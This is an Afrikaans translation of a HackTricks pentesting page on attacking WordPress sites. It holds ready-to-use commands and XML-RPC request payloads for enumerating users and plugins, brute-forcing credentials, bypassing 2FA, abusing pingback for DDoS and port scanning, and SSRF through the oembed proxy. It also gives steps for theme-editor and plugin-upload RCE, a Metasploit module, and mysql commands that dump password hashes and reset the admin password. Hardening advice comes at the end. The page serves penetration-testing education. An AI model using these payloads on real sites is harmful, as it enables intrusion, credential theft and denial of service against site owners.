20 KiB
Wordpress
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy in HackTricks wil adverteer of HackTricks in PDF wil aflaai, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-repos.
Gebruik Trickest om maklik werkstrome te bou en outomatiseer met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.
Kry vandag toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Basiese Inligting
Opgelaai lêers gaan na: http://10.10.10.10/wp-content/uploads/2018/08/a.txt
Temalêers kan gevind word in /wp-content/themes/, so as jy 'n bietjie php van die tema verander om RCE te kry, sal jy waarskynlik daardie pad gebruik. Byvoorbeeld: Deur die twentytwelve-tema te gebruik, kan jy die 404.php-lêer toegang in: /wp-content/themes/twentytwelve/404.php
'n Ander nuttige URL kan wees: /wp-content/themes/default/404.php
In wp-config.php kan jy die hoofwagwoord van die databasis vind.
Verwagte aanmeldingspaaie om te kontroleer: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Hoof WordPress-lêers
index.php
license.txt
bevat nuttige inligting soos die geïnstalleerde weergawe van WordPress.wp-activate.php
word gebruik vir die e-posaktiveringsproses wanneer 'n nuwe WordPress-webwerf opgestel word.- Aanmeldingsgids (kan hernoem word om dit te verberg):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
is 'n lêer wat 'n kenmerk van WordPress verteenwoordig wat data met HTTP as die vervoermeganisme en XML as die enkoderingsmeganisme moontlik maak. Hierdie tipe kommunikasie is vervang deur die WordPress REST API.- Die
wp-content
-gids is die hoofgids waar plugins en temas gestoor word. wp-content/uploads/
is die gids waar enige lêers wat na die platform opgelaai word, gestoor word.wp-includes/
Dit is die gids waar kernlêers gestoor word, soos sertifikate, lettertipes, JavaScript-lêers en widgets.wp-sitemap.xml
In Wordpress-weergawes 5.5 en hoër genereer Wordpress 'n sitemap-XML-lêer met alle openbare plasings en openbaar navraagbare possoorte en taksonomieë.
Post-exploitasie
- Die
wp-config.php
-lêer bevat inligting wat deur WordPress vereis word om met die databasis te verbind, soos die databasisnaam, databasisgasheer, gebruikersnaam en wagwoord, outentiseringsleutels en sout, en die databasis tabelvoorvoegsel. Hierdie konfigurasie-lêer kan ook gebruik word om DEBUG-modus te aktiveer, wat nuttig kan wees vir foutopsporing.
Gebruikersregte
- Administrateur
- Redakteur: Publiseer en bestuur sy eie en ander plasings
- Outeur: Publiseer en bestuur sy eie plasings
- Bydraer: Skryf en bestuur sy plasings, maar kan dit nie publiseer nie
- Intekenaar: Blaai deur plasings en wysig hul profiel
Passiewe Opname
Kry WordPress-weergawe
Kyk of jy die lêers /license.txt
of /readme.html
kan vind
Binne die bronkode van die bladsy (voorbeeld van https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta naam
- CSS skakel lêers
- JavaScript lêers
Kry Plugins
{% code overflow="wrap" %}
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Kry Temas
{% code overflow="wrap" %}
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Haal algemene weergawes uit
{% code overflow="wrap" %}
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
{% endcode %}
Gebruik Trickest om maklik en outomatiese werksvloeie te bou met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.
Kry vandag toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Aktiewe opname
Inproppe en Temas
Jy sal waarskynlik nie in staat wees om al die Inproppe en Temas te vind nie. Om almal te ontdek, sal jy 'n lys van Inproppe en Temas aktief moet Brute Force (gelukkig vir ons is daar outomatiese hulpmiddels wat hierdie lys bevat).
Gebruikers
ID Brute
Jy kry geldige gebruikers van 'n WordPress-webwerf deur gebruikers-ID's te Brute Force:
curl -s -I -X GET http://blog.example.com/?author=1
As die antwoorde 200 of 30X is, beteken dit dat die id geldig is. As die antwoord 400 is, is die id ongeldig.
wp-json
Jy kan ook probeer om inligting oor die gebruikers te kry deur navrae te doen:
curl http://blog.example.com/wp-json/wp/v2/users
'n Ander /wp-json/
eindpunt wat enkele inligting oor gebruikers kan onthul, is:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Let wel dat hierdie eindpunt slegs gebruikers blootstel wat 'n pos geplaas het. Slegs inligting oor gebruikers wat hierdie funksie geaktiveer het, sal verskaf word.
Let ook daarop dat /wp-json/wp/v2/pages IP-adresse kan uitlek.
Login gebruikersnaam enumerasie
Wanneer jy inlog by /wp-login.php
, is die boodskap verskillend as die aangeduide gebruikersnaam bestaan of nie.
XML-RPC
As xml-rpc.php
aktief is, kan jy 'n aanmeldingsbruteforce uitvoer of dit gebruik om DoS-aanvalle op ander bronne te lanceer. (Jy kan hierdie proses outomatiseer deur byvoorbeeld hierdie te gebruik).
Om te sien of dit aktief is, probeer om toegang te verkry tot /xmlrpc.php en stuur hierdie versoek:
Kontroleer
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Geloofsbriewe Bruteforce
wp.getUserBlogs
, wp.getCategories
of metaWeblog.getUsersBlogs
is van die metodes wat gebruik kan word om geloofsbriewe te brute-force. As jy enigeen van hulle kan vind, kan jy iets soos die volgende stuur:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Die boodskap "Verkeerde gebruikersnaam of wagwoord" binne 'n 200-kode respons moet verskyn as die geloofsbriewe nie geldig is nie.
Met die korrekte geloofsbriewe kan jy 'n lêer oplaai. In die respons sal die pad verskyn (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Daar is ook 'n vinniger manier om geloofsbriewe te kragtig te kraak deur gebruik te maak van system.multicall
, aangesien jy verskeie geloofsbriewe op dieselfde versoek kan probeer:
2FA omseil
Hierdie metode is bedoel vir programme en nie vir mense nie, en dit is oud, daarom ondersteun dit nie 2FA nie. Dus, as jy geldige geloofsbriewe het maar die hoofingang deur 2FA beskerm word, kan jy dalk xmlrpc.php misbruik om met daardie geloofsbriewe in te teken en 2FA te omseil. Let daarop dat jy nie al die aksies kan uitvoer wat jy deur die konsole kan doen nie, maar jy kan dalk steeds RCE bereik soos Ippsec dit in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s verduidelik.
DDoS of poortskandering
As jy die metode pingback.ping in die lys kan vind, kan jy die Wordpress laat 'n willekeurige versoek na enige gas/heelpunt stuur.
Dit kan gebruik word om duisende Wordpress webwerwe te vra om een plek te toegang (sodat 'n DDoS in daardie plek veroorsaak word) of jy kan dit gebruik om Wordpress te laat skandering van 'n interne netwerk (jy kan enige poort aandui).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
As jy faultCode kry met 'n waarde groter as 0 (17), beteken dit dat die poort oop is.
Neem 'n kyk na die gebruik van system.multicall
in die vorige afdeling om te leer hoe om hierdie metode te misbruik vir DDoS-aanvalle.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
Hierdie lêer bestaan gewoonlik onder die wortel van die Wordpress-webwerf: /wp-cron.php
Wanneer hierdie lêer toegang word, word 'n "swaar" MySQL navraag uitgevoer, sodat dit deur aanvallers gebruik kan word om 'n DoS te veroorsaak.
Daarbenewens word die wp-cron.php
standaard geroep by elke bladsybelading (telkens wanneer 'n kliënt enige Wordpress-bladsy aanvra), wat op hoë-verkeer webwerwe probleme kan veroorsaak (DoS).
Dit word aanbeveel om Wp-Cron uit te skakel en 'n werklike cronjob binne die gasheer te skep wat die nodige aksies op 'n gereelde interval uitvoer (sonder om probleme te veroorsaak).
/wp-json/oembed/1.0/proxy - SSRF
Probeer om https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net te besoek en die Worpress-webwerf kan 'n versoek aan jou rig.
Dit is die reaksie wanneer dit nie werk nie:
SSRF
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
Hierdie instrument kyk of die methodName: pingback.ping en vir die pad /wp-json/oembed/1.0/proxy bestaan, en as dit wel bestaan, probeer dit om dit uit te buit.
Outomatiese Gereedskap
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Gebruik Trickest om maklik en outomaties werkstrome te bou met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Kry toegang deur 'n bietjie te oorskryf
Dit is meer 'n nuuskierigheid as 'n werklike aanval. In die CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man kon jy 1 bietjie omkeer in enige wordpress-lêer. Jy kon dus die posisie 5389
van die lêer /var/www/html/wp-includes/user.php
omkeer om die NOT (!
) operasie te NOP.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Paneel RCE
Wysiging van 'n php van die gebruikte tema (admin-inlogbesonderhede benodig)
Verskyning → Tema-redakteur → 404-sjabloon (aan die regterkant)
Verander die inhoud vir 'n php-skulp:
Soek op die internet hoe jy daardie opgedateerde bladsy kan bereik. In hierdie geval moet jy hier toegang verkry: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Jy kan gebruik maak van:
use exploit/unix/webapp/wp_admin_shell_upload
Inprop RCE
PHP inprop
Dit is moontlik om .php-lêers as 'n invoegtoepassing te laai.
Skep jou php agterdeur deur byvoorbeeld die volgende te gebruik:
Voeg dan 'n nuwe invoegtoepassing by:
Laai die invoegtoepassing op en druk op Installeer Nou:
Klik op Gaan voort:
Dit sal waarskynlik niks skynbaar doen nie, maar as jy na Media gaan, sal jy sien dat jou dop geüpload is:
Kry toegang daartoe en jy sal die URL sien om die omgekeerde dop uit te voer:
Oplaai en aktiveer skadelike invoegtoepassing
Hierdie metode behels die installering van 'n skadelike invoegtoepassing wat bekend is as kwesbaar en uitgebuit kan word om 'n webdop te verkry. Hierdie proses word uitgevoer deur die WordPress-dashboard soos volg:
-
Invoegtoepassing verkryging: Die invoegtoepassing word verkry van 'n bron soos Exploit DB soos hier.
-
Invoegtoepassing installering:
- Navigeer na die WordPress-dashboard, gaan dan na
Dashboard > Plugins > Upload Plugin
. - Laai die zip-lêer van die afgelaaide invoegtoepassing op.
-
Invoegtoepassing aktivering: Sodra die invoegtoepassing suksesvol geïnstalleer is, moet dit geaktiveer word deur die dashboard.
-
Uitbuiting:
- Met die invoegtoepassing "reflex-gallery" geïnstalleer en geaktiveer, kan dit uitgebuit word omdat dit bekend is as kwesbaar.
- Die Metasploit-raamwerk bied 'n uitbuiting vir hierdie kwesbaarheid. Deur die toepaslike module te laai en spesifieke opdragte uit te voer, kan 'n meterpreter-sessie tot stand gebring word wat ongemagtigde toegang tot die webwerf verleen.
- Dit moet opgemerk word dat hierdie slegs een van die vele metodes is om 'n WordPress-webwerf uit te buit.
Die inhoud bevat visuele hulpmiddels wat die stappe in die WordPress-dashboard illustreer vir die installering en aktivering van die invoegtoepassing. Dit is egter belangrik om daarop te let dat die uitbuiting van kwesbaarhede op hierdie manier onwettig en oneties is sonder behoorlike magtiging. Hierdie inligting moet verantwoordelik gebruik word en slegs binne 'n wettige konteks, soos penetrasietoetsing met uitdruklike toestemming.
Vir meer gedetailleerde stappe, kyk: https://www.hackingarticles.in/wordpress-reverse-shell/**
Na-uitbuiting
Onttrek gebruikersname en wagwoorde:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Verander admin wagwoord:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
WordPress Beskerming
Gereelde Opdaterings
Maak seker dat WordPress, plugins, en temas opgedateer is. Bevestig ook dat outomatiese opdatering ingeskakel is in wp-config.php:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Verder, installeer slegs betroubare WordPress-plugins en -temas.
Sekuriteitsplugins
Ander Aanbevelings
- Verwyder die verstek admin-gebruiker
- Gebruik sterk wagwoorde en 2FA
- Hersien gereeld gebruikers se toestemmings
- Beperk aanmeldpogings om Brute Force-aanvalle te voorkom
- Hernoem die
wp-admin.php
-lêer en staan slegs interne toegang of toegang vanaf sekere IP-adresse toe.
Gebruik Trickest om maklik werkstrome te bou en outomatiseer met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks-uitrusting
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslagplekke.